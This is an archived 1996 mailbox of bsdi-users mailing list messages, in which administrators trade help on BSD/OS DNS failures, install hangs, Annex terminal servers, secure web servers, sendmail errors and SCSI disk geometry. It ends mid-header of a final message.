<199611211212.MAA06907@djn.enterprise.net> Precedence: bulk From: djn@enterprise.net Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Cc: darren@enterprise.net Subject: DNS PROBLEMS Date: Thu, 21 Nov 1996 12:12:03 GMT Please can anyone help. Over the last few months my primary (and sometimes my secondary) dns server will suddenly refuse to resolve addresses for our local domain i.e some-host.enterprise.net and return a "server failed" error. This will continue until named is killed off and restarted ( kill -HUP will not work ). The same dns server manages many other domains on behalf of clients but these remain unaffected - domains we are not authorative for are also not affected. Once the server fails for our domain I get the following errors in the daemon.log file:- "dns0 named[PID]: sysquery: nslookup reports danger (mail.enterprise.net)" It is worth noting that "mail.enterprise.net" WAS our old primary dns server with dns0 a CNAME pointing to it. We currently run BSDI 2.1 will all current patches installed and named v 4.9.3-P1 Can anyone tell me how to stop my dns crashing and what the above error message actually means. Any help would be most appreciated. Yours Darren. -- +-------------------------------+----------------------------- | Darren Naylor | 64 Bucks Road, Douglas | | Enterprise plc | Isle of Man, IM1 3AF | | E-mail: djn@enterprise.net | British Isles. | | WWW: http://www.enterprise.net| +44 1624 677666 Ext 205 | +-------------------------------+----------------------------- From VM Thu Nov 21 17:29:12 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1117" "Thu" "21" "November" "1996" "07:48:46" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "30" "Re: Annex 9.2.7 package under 2.1 " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA06984 for ; Thu, 21 Nov 1996 08:01:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA21771 for bsdi-users-outgoing; Thu, 21 Nov 1996 07:49:06 -0500 (EST) Message-Id: <199611211248.HAA17111@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Tue, 19 Nov 1996 11:05:57 EST. <2.2.32.19961119160557.008318a8@gator.naples.net> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: "Kevin U. Hill" cc: bsdi-users@BSDI.COM Subject: Re: Annex 9.2.7 package under 2.1 Date: Thu, 21 Nov 1996 07:48:46 -0500 In message <2.2.32.19961119160557.008318a8@gator.naples.net>you write: > >Has anyone had any luck compiling Annex 9.2.7 binaries for an Annex 3 term >server under BSD/OS 2.1? I've applied diffs published by Xylogics for BSD/OS >2.0, but they choke under 2.1. (Can't remember the exact choke... something >like "previous decl of sprintf()".) > >I'm currently running Annex 8.0.10 which has an irritating memory leak >problem. We have to reboot the Annex weekly or risk running out of mbufs. > >On a second note... >What are BSDI folks using to track and monitor usage of your Annexen? G&R >Data group has a nifty looking package called >Annexwatch, but the closest port they have is for FreeBSD which dies >miserably under 2.1. > >I'm kicking myself for not choosing Livingston, but hey... the Annex was a >donation from Xylogics. Can't look a gift horse in the mouth. :) > >Any pointers are appreciated... > > - Kevin > ---- Last I heard, I heard that Livingston didn't have compression. I found it inferior therefore to compression type boxes like Ascend, and others. FYI, Jacob From VM Thu Nov 21 17:29:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["709" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "31" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA08368 for ; Thu, 21 Nov 1996 08:55:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA21898 for bsdi-users-outgoing; Thu, 21 Nov 1996 08:30:11 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Thu Nov 21 17:29:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["669" "Thu" "21" "November" "1996" "09:34:37" "-0500" "Cat Okita" "cat@uunet.ca" nil "21" "Re: Install problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA09766 for ; Thu, 21 Nov 1996 09:48:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA21989 for bsdi-users-outgoing; Thu, 21 Nov 1996 09:35:00 -0500 (EST) In-Reply-To: <3.0.1.32.19961120200751.006acf2c@popgw.firstdata.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: Kent Ketell cc: bsdi-users@BSDI.COM Subject: Re: Install problems Date: Thu, 21 Nov 1996 09:34:37 -0500 On Wed, 20 Nov 1996, Kent Ketell wrote: > I have an interesting problem... > > I have been successful in installing 2.1 on multiple systems > from various vendors, but am having problems installing on my > system at home. Here is the scenario: > > I boot from the install disk. no problem > I go through the entire install process. no problem > I reboot the system. problem... > > On reboot, as soon as the system hits the hard disk it looks > back to the floppy and locks up tight. Did you install *bios* boot blocks? That sounds like the error I was getting when the install defaulted to 'aha' boot blocks... Cat Okita System Administrator, UUNET Canada From VM Thu Nov 21 17:29:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["671" "Thu" "21" "November" "1996" "10:07:35" "-0500" "Sam Brown" "root@ns2.clever.net" nil "21" "Re: secure servers" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA10882 for ; Thu, 21 Nov 1996 10:21:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA22044 for bsdi-users-outgoing; Thu, 21 Nov 1996 10:11:01 -0500 (EST) In-Reply-To: <199611210212.UAA07756@ns.txis.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: asiegel@txis.net cc: bsdi-users@BSDI.COM Subject: Re: secure servers Date: Thu, 21 Nov 1996 10:07:35 -0500 (EST) www.thawte.com sells Sioux, it may be better. Heres a little tip i'll pass on down. the usa commercial rsaref.a (comes binary) only handles 256 file descriptors.. So if you have a lot of virtual domains, whoops.... This was with the apache 1.1.1+stronghold rev i last tested.. Sam On Wed, 20 Nov 1996 asiegel@txis.net wrote: > I would like to know what experience some of you have had with stronghold's > apache software. They have a secure site upgrade I've been looking at, but > because of their service, I'm a little hesitant to buy. Anyone know any > other good software to do secure encoding for the web? (Not just e-mail.) > > Aaron Siegel > txis.net > > From VM Thu Nov 21 17:29:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1260" "Thu" "21" "November" "1996" "10:21:39" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "24" "Re: secure servers " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA10890 for ; Thu, 21 Nov 1996 10:22:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA22074 for bsdi-users-outgoing; Thu, 21 Nov 1996 10:21:52 -0500 (EST) Message-Id: <199611211521.KAA10587@kci.kciLink.com> In-reply-to: Your message of "Wed, 20 Nov 1996 20:12:12 CST." <199611210212.UAA07756@ns.txis.net> Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: asiegel@txis.net cc: bsdi-users@BSDI.COM Subject: Re: secure servers Date: Thu, 21 Nov 1996 10:21:39 -0500 >>>>> "a" == asiegel writes: a> I would like to know what experience some of you have had with stronghold's a> apache software. They have a secure site upgrade I've been looking at, but a> because of their service, I'm a little hesitant to buy. Anyone know any a> other good software to do secure encoding for the web? (Not just e-mail.) I've use Stronghold for about 9 months now, and it has been nothing but excellent. The service has been superb -- I've gotten a reply to any question within a few hours, and the answers were always useful. I highly recommend the software. If you want to see it in action and how fast it is, visit https://www.govcon.com/ which is stronghold running as a virtual domain on a shared server (at least until my new machine arrives tomorrow...) The price is right, and you get sources for easy customization, which was necessary for my application, as I used some custom Apache modules. v. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Vivek Khera, Ph.D. Khera Communications, Inc. Internet: khera@kciLink.com Rockville, MD +1-301-258-8292 PGP/MIME spoken here http://www.kciLink.com/home/khera/ From VM Thu Nov 21 17:29:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["103" "Thu" "21" "November" "1996" "10:48:44" "-0500" "jimtoro@hoflink.com" "jimtoro@hoflink.com" nil "7" "modemcap" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA11168 for ; Thu, 21 Nov 1996 10:38:32 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA22121 for bsdi-users-outgoing; Thu, 21 Nov 1996 10:37:04 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: jimtoro@hoflink.com Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: modemcap Date: Thu, 21 Nov 1996 10:48:44 -0500 (EST) Anyone have the settings for the Prac.Perif. MTII v.34 towers for modemcap running under modemd?. From VM Thu Nov 21 17:29:39 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["407" "Thu" "21" "November" "1996" "08:45:40" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "18" "Some additional software for BSDI BSD/OS v3.0" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA11177 for ; Thu, 21 Nov 1996 10:41:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA22115 for bsdi-users-outgoing; Thu, 21 Nov 1996 10:35:20 -0500 (EST) Message-Id: <199611211545.IAA12997@doctor.nl2k.edmonton.ab.ca> X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: bostic@BSDI.COM, bsdi-users@BSDI.COM Subject: Some additional software for BSDI BSD/OS v3.0 Date: Thu, 21 Nov 1996 08:45:40 -0700 (MST) After a few requests and improvement on services, we found that the following is needed: Minerva MSQL for 1) RDBMS and 2) WWW work. MSQL is recommended by Apache. DLD from GNU to work with apache. Motif and Open GL. Motif for programming and OpenGL is now incorporated into OS/2 v4 and soon I believe Windows 9x and NT. telnetd needs to be straightened. Make needs to be at 3.75. Hope this helps. From VM Thu Nov 21 17:30:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["559" "Thu" "21" "November" "1996" "10:06:59" "-0800" "Derek L. Babcock" "derek@ranken.org" nil "13" "BSDI Server Goes Down" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA12011 for ; Thu, 21 Nov 1996 11:05:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA22208 for bsdi-users-outgoing; Thu, 21 Nov 1996 11:02:09 -0500 (EST) Message-ID: <32949A43.5DE1@ranken.org> Organization: ranken.org X-Mailer: Mozilla 2.02 (Win95; I; 16bit) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk From: "Derek L. Babcock" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: BSDI Server Goes Down Date: Thu, 21 Nov 1996 10:06:59 -0800 I am a new user to BSDI. I am running BSD/OS with the BSDI internet gateway for Novell Networks. My BSDI box always works fine it is just the gateway on my network that always seems to go down. When my users launch the inegate, they get the error ROUTER NOT FOUND. After i bring down the server and restart it, then they attach fine. I have been having to do this about 3 times a day. Also after I re-boot them my novell servers see the BSDI box once again. If anyone has any suggestions, they would be appreciated. Thanks Derek derek@ranken.org From VM Thu Nov 21 17:30:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["851" "Thu" "21" "November" "1996" "15:47:30" "+0000" "Neil J. McRae" "neil@domino.org" nil "29" "Re: DNS PROBLEMS " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA12016 for ; Thu, 21 Nov 1996 11:05:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id KAA22147 for bsdi-users-outgoing; Thu, 21 Nov 1996 10:52:25 -0500 (EST) Message-Id: <199611211547.PAA29982@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Thu, 21 Nov 1996 12:12:03 GMT." <199611211212.MAA06907@djn.enterprise.net> Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: djn@enterprise.net cc: bsdi-users@BSDI.COM, darren@enterprise.net, neil@domino.org Subject: Re: DNS PROBLEMS Date: Thu, 21 Nov 1996 15:47:30 +0000 On Thu, 21 Nov 1996 12:12:03 GMT djn@enterprise.net wrote: > Once the server fails for our domain I get the following errors in > the daemon.log file:- > > "dns0 named[PID]: sysquery: nslookup reports danger (mail.enterprise.net)" > > It is worth noting that "mail.enterprise.net" WAS our old primary dns server > with dns0 a CNAME pointing to it. This is broken, you shouldn't ever point RR's at CNAMES. > > We currently run BSDI 2.1 will all current patches installed and > named v 4.9.3-P1 > It sounds like your machine is running out of resources. Compile a kernel with more procs and more fd's in it Neil. -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Thu Nov 21 17:30:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["710" "Wed" "20" "November" "1996" "09:46:28" "-0500" "Thom Henderson" "thom@esva.net" nil "32" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA12025 for ; Thu, 21 Nov 1996 11:11:04 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA22218 for bsdi-users-outgoing; Thu, 21 Nov 1996 11:02:40 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 13 Message-ID: References: NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Dual Homing w/BSDI or 25xx? Date: Wed, 20 Nov 1996 09:46:28 -0500 On 18 Nov 1996, Ross Wheeler wrote: > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > host of other things, currently at 78 days uptime (interrupted for a > hardware upgrade), before that up for 67 days (interrupted for a > relocation) and prior to that, up for 130 days (interrupted by a UPS > failure).... It hasn't spontaneously rebooted (ever) and the times it > has required a re-boot have been due to external factors, not the OS. You see? There's the problem right there. A truly robust operating system should not be vulnerable to external influences like a UPS failure. From VM Thu Nov 21 17:30:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1197" "Thu" "21" "November" "1996" "11:17:12" "-0500" "Cat Okita" "cat@uunet.ca" nil "25" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA12855 for ; Thu, 21 Nov 1996 11:33:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA22264 for bsdi-users-outgoing; Thu, 21 Nov 1996 11:17:55 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Dual Homing w/BSDI or 25xx? Date: Thu, 21 Nov 1996 11:17:12 -0500 On Wed, 20 Nov 1996, Thom Henderson wrote: > On 18 Nov 1996, Ross Wheeler wrote: > > I've a BSDI box running on a DX4/100/32Mb, supporting routing, 40 dialin, > > DNS, WWW (about 25K hits/day), ftp, mail, dozen or so virtuals, and a > > host of other things, currently at 78 days uptime (interrupted for a > > hardware upgrade), before that up for 67 days (interrupted for a > > relocation) and prior to that, up for 130 days (interrupted by a UPS > > failure).... It hasn't spontaneously rebooted (ever) and the times it > > has required a re-boot have been due to external factors, not the OS. > > You see? There's the problem right there. A truly robust operating > system should not be vulnerable to external influences like a UPS failure. I've talked to Thom, and the multiple messages don't seem to be a problem at his site. Since the message was posted via news, we're trying cancelling the message to see if *that* helps (for lack of any better ideas :/) Either way, since he's been getting tons of email about this, and doesn't want to send out another message, in case it does the same thing, he's asked me if I'd post this... Cat Okita System Administrator, UUNET Canada From VM Thu Nov 21 17:30:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1371" "Thu" "21" "November" "1996" "11:42:24" "-0500" "Adena Teague" "ateague@mgsinc.com" nil "34" "Mail question" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13403 for ; Thu, 21 Nov 1996 12:00:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA22349 for bsdi-users-outgoing; Thu, 21 Nov 1996 11:44:27 -0500 (EST) Message-Id: <2.2.32.19961121164224.006bf5cc@mgsinc.com> X-Sender: ateague@mgsinc.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Adena Teague Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Mail question Date: Thu, 21 Nov 1996 11:42:24 -0500 Hello. This is more a question of curiosity than of any pressing concern. The script that changes our firewall state sends a notice to the administrator using mail: Mail -s "Firewall MGS[UP]" root << _EOF_ The Firewall was raised for MGS on 'date' Version Number:$vernum _EOF_ This has always worked in the past and works now, but yesterday when the firewall state changed, I did not get the notification. The script was definately executed, because the firewall state did change. The following error messages were in the maillog at the time the mail should have been sent: Nov 20 08:59:12 mgs sendmail[7999]: NOQUEUE: SYSERR: putoutmsg (NO-HOST): error on output channel sending "451 before readcf: fd1 not open : Bad file descriptor" input output error Nov 20 08:59:12 mgs sendmail[7999]: NOQUEUE: SYSERR(root): before readcf: fd1 not open : Bad file descriptor Nov 20 08:59:12 mgs sendmail[7999]: NOQUEUE: SYSERR(root): before readcf: fd2 not open : Bad file descriptor The command works fine now. I am just curious as to what would cause this error. Any ideas? Thanks, Adena Teague ateague@mgsinc.com From VM Thu Nov 21 17:30:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["4036" "Thu" "21" "November" "1996" "08:43:30" "-0800" "Tim Keanini" "blast@broder.com" nil "132" "Re: Newfs for a SCSI Quantum fireball 1080S" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13671 for ; Thu, 21 Nov 1996 12:04:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id LAA22343 for bsdi-users-outgoing; Thu, 21 Nov 1996 11:43:53 -0500 (EST) In-Reply-To: <199611210233.SAA07931@webb-home.chelmsford.telebit.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tim Keanini Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Newfs for a SCSI Quantum fireball 1080S Date: Thu, 21 Nov 1996 08:43:30 -0800 (PST) On Wed, 20 Nov 1996, Bill Webb wrote: > > > > I am trying to format a 2.1 Gb.SCSI Quantum Fireball 1080s into one > > partition. > > > > Using newfs command, can anyone please tell me the optimum configuration > > for block and fragment size, number of inode's for that particular > > drive???? > > > > Typically I just use the defaults for newfs unless I have a > good reason to change it. While we are on the topic, lets talk about geometry for a sec. I know that 4.4BSD looks at the geometry and trys to optimize. Bringing on a new drive you 'probe' and take what probe finds as the truth and you are done with it. Well, I did some investigation (with my limited knowledge) and turned up some things that dont seem right. Ideally, you want to tell BSD/OS what the geometry is and it will do its best to help you out. Lets compare two drives, one is a Quantum Fireball ATLAS XP32150 and the other an IBM DORS-32160 S. With these drives, I have found that letting scsicmd do its thing may yield odd results. As you can see, it guessed wrong on the two IBM drives. I wonder if the drives themselves have embedded the wrong answer when asked the question by 'scsicmd'? No way for me to know. type: SCSI disk: Quantum XP32150 label: flags: zone-recorded bytes/sector: 512 sectors/track: 2048 tracks/cylinder: 1 sectors/cylinder: 2048 cylinders: 2051 sectors/unit: 4199760 replacement sectors/track: 0 replacement sectors/cylinder: 0 alternate cylinders: 0 rpm: 7200 type: SCSI disk: quantum xp32150 label: flags: zone-recorded bytes/sector: 512 sectors/track: 2048 tracks/cylinder: 1 sectors/cylinder: 2048 cylinders: 2051 sectors/unit: 4199760 replacement sectors/track: 0 replacement sectors/cylinder: 0 alternate cylinders: 0 rpm: 7200 disk: IBM DORS-32160 S label: flags: zone-recorded bytes/sector: 512 sectors/track: 2048 tracks/cylinder: 1 sectors/cylinder: 2048 cylinders: 2064 sectors/unit: 4226725 replacement sectors/track: 0 replacement sectors/cylinder: 0 alternate cylinders: 0 rpm: 5400 type: SCSI disk: IBM DORS-32160 label: flags: bytes/sector: 512 sectors/track: 64 tracks/cylinder: 8 sectors/cylinder: 512 cylinders: 8256 sectors/unit: 4226725 replacement sectors/track: 0 replacement sectors/cylinder: 0 alternate cylinders: 0 rpm: 3600 My other issues (the one that made me post this) is the tracks/surface parameter value for the XP32150. On the drives spec, it lists this parameter value as 3, 832 and it lists the sectors per track as 80 to 134? What? Having the kernel guess at tracks/cylinder = 1 for this drive troubles me. I am trying to find a better way to answer these parameters: bytes/sector: ??? sectors/track: ??? tracks/cylinder: ??? sectors/cylinder: ??? cylinders: ??? sectors/unit: ??? replacement sectors/track: 0 replacement sectors/cylinder: 0 alternate cylinders: 0 rpm: ??? When trying to answer these, looking at the drive specs does not have a one to one mapping. In most modern drives, number of sectors per track is always answered as some lower number for the inner and some high number for the outer. Most of the time written as ##,###. Most common sectors/track I have seen on BSDi is 2048? Anyone want to comment on this. I sure would like to make sure that I am tuning my disks the right way. Most of my services that I use BSD for rely on the disk performance so I want to make sure that I am not doing anything to slow it down. :-) --blast %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \ Tim Keanini | "The limits of my language, / / | are the limits of my world." \ \ blast@broder.com | --Ludwig Wittgenstein / \ +================================================/ |Key fingerprint = 7B 68 88 41 A8 74 AB EC F0 37 98 4C 37 F7 40 D6 | / PUB KEY: http://www-swiss.ai.mit.edu/~bal/pks-commands.html \ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% From VM Thu Nov 21 17:30:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2615" "Thu" "21" "November" "1996" "08:58:56" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "85" "Re: Install problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA13681 for ; Thu, 21 Nov 1996 12:13:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA22386 for bsdi-users-outgoing; Thu, 21 Nov 1996 12:01:09 -0500 (EST) Message-Id: <3.0.1.32.19961121085734.009eda30@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer Cc: Kent Ketell , bsdi-users@BSDI.COM Subject: Re: Install problems Date: Thu, 21 Nov 1996 08:58:56 -0800 Actually, the problem is not as described in the manual. I don't get any error messages at all. The system just hangs. I did try the "fix" as defined in the manual (pages 30-31), but the behavior is the same this way as well. I must admit that I was kinda releived when it did not turn out to be a RTFM issue ;^) -Kent- At 11:14 PM 11/20/96 -0500, Brian Backer wrote: >If it is the Buslogic card, then the problem is far to familiar. There >is a setting in the card's bios that needs adjusted. It specifies this >somewhere in the map toward the beginnning in one of the sections that >has footnotes I believe. I would tell you exactly where but I dont have >my book handy. Sorry > > > >On Wed, 20 Nov 1996, Kent Ketell wrote: > >> I have an interesting problem... >> >> I have been successful in installing 2.1 on multiple systems >> from various vendors, but am having problems installing on my >> system at home. Here is the scenario: >> >> I boot from the install disk. no problem >> I go through the entire install process. no problem >> I reboot the system. problem... >> >> On reboot, as soon as the system hits the hard disk it looks >> back to the floppy and locks up tight. >> >> Hardware config: >> >> Tyan 1662 PPro 180MHz w/64MB RAM (same board works fine at work) >> either Adaptec 2940 or Buslogic 946C (both behave exactly the same) >> either Conner CFP2107S, Seagate ST32430N or Quantum VP32170 (they all >> do it) >> Internal SCSI is terminated with an active terminator on the end of >> the ribbon. >> External SCSI is terminated with on a Tandberg TDC 4100 tape drive >> using the internal terminator (the only one available) >> There is a Syquest EZ135 SCSI external. >> The SCSI IDs are set as follows: >> Boot disk is always 0 >> Syquest EZ135 is 4 >> Tandberg Tape is 6 >> Controller is 7 >> Video is not the problem because it has done it with multiple adapters. >> >> The whole system works just fine under Linux96, WinNT 3.51 or 4.0 and >> Win95 using separate disks for each O/S. >> >> Any ideas? >> >> >> -- >> >> +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ >> | Kent Ketell First Data Corporation | >> | Systems Administrator Electronic Funds Services | >> | Email: Kent_Ketell@firstdata.com | >> +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+ >> >> The views and comments above are strictly my own. >> > > -- All opinions either expressed or implied in the above noise are strictly my own. -Kent- From VM Thu Nov 21 17:30:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["949" "Thu" "21" "November" "1996" "09:16:17" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "27" "Re: Install problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA14232 for ; Thu, 21 Nov 1996 12:29:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA22436 for bsdi-users-outgoing; Thu, 21 Nov 1996 12:17:07 -0500 (EST) Message-Id: <3.0.1.32.19961121090751.00a0ccc0@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell 